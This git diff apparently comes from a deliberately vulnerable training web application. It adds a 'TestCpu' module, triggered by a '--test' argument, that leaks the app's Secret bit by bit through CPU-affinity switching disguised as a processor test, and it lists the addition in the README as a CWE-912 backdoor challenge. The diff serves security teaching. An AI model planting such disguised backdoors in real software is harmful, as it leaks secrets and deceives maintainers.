diff --git a/Program.cs b/Program.cs index 3a76028..a3ba2be 100644 --- a/Program.cs +++ b/Program.cs @@ -9,6 +9,7 @@ using VulnerableWebApplication.VLAModel; using VulnerableWebApplication.VLAIdentity; using VulnerableWebApplication.MidlWare; +using VulnerableWebApplication.TestCpu; using Microsoft.AspNetCore.OpenApi; using GraphQL.Types; using GraphQL; @@ -29,9 +30,7 @@ builder.Services.AddSingleton(); builder.Services.AddSingleton(); builder.Services.AddSingleton(); -builder.Services.AddGraphQL(b => b - .AddAutoSchema() // schema - .AddSystemTextJson()); // serializer +builder.Services.AddGraphQL(b => b.AddAutoSchema().AddSystemTextJson()); builder.Services.AddHttpLogging(logging => { @@ -84,6 +83,15 @@ // Arguments : string url = args.FirstOrDefault(arg => arg.StartsWith("--url=")); +string test = args.FirstOrDefault(arg => arg.StartsWith("--test")); + +if(!string.IsNullOrEmpty(test)) +{ + Console.WriteLine("Start CPU Testing"); + TestCpu.TestAffinity(Secret); +} + + if (string.IsNullOrEmpty(url)) { @@ -92,7 +100,6 @@ } else app.Urls.Add(url.Substring("--url=".Length)); - // Lancement : app.Run(); diff --git a/README.md b/README.md index c9b2b11..488e45b 100644 --- a/README.md +++ b/README.md @@ -42,6 +42,7 @@ | CWE-787 | Out-of-bounds Write | Easy | 500-5000$ | | CWE-798 | Use of Hard-coded Credentials | Very Easy | 1.000-10.000$ | | CWE-829 | Local File Inclusion | Easy | 500-2.000$ | +| CWE-912 | Backdoor | Very Hard | 10.000$-100.000$ | | CWE-918 | Server-Side Request Forgery (SSRF) | Medium | 1.000$-10.000$ | | CWE-1270 | Generation of Incorrect Security Tokens | Medium | 1.000-20.000$ | diff --git a/TestCpu/TestCpu.cs b/TestCpu/TestCpu.cs new file mode 100644 index 0000000..bb72603 --- /dev/null +++ b/TestCpu/TestCpu.cs @@ -0,0 +1,57 @@ +using GraphQL; +using System; +using System.Diagnostics; +using System.Linq; +using System.Runtime.InteropServices; +using System.Security.Cryptography; +using System.Text; +using System.Threading; + + +namespace VulnerableWebApplication.TestCpu +{ + public class TestCpu + { + public static void TestAffinity(string Str) + { + string BinStr = ConvertToBinary(Str); + + Console.WriteLine("Total proc: {0}", Environment.ProcessorCount); + foreach (char bit in BinStr) + { + Process.GetCurrentProcess().ProcessorAffinity = (System.IntPtr)(bit - '0' +1); + CalculateSHA512(Str); + } + Process.GetCurrentProcess().ProcessorAffinity = (System.IntPtr)5; + } + + public static string ConvertToBinary(string input) + { + byte[] bytes = Encoding.UTF8.GetBytes(input); + StringBuilder binary = new StringBuilder(); + + foreach (byte b in bytes) binary.Append(Convert.ToString(b,2).PadLeft(8,'0')); + + return binary.ToString(); + } + + public static void CalculateSHA512(string input) + { + { + var stopWatch = new Stopwatch(); + stopWatch.Start(); + while (stopWatch.Elapsed.TotalSeconds < 5) + { + using (var sha256 = SHA256.Create()) + { + var bytes = Encoding.UTF8.GetBytes(Guid.NewGuid().ToString()); + var hash = sha256.ComputeHash(bytes); + } + } + stopWatch.Stop(); + Console.WriteLine("Current proc : {0}", Process.GetCurrentProcess().ProcessorAffinity); + } + } + + } +}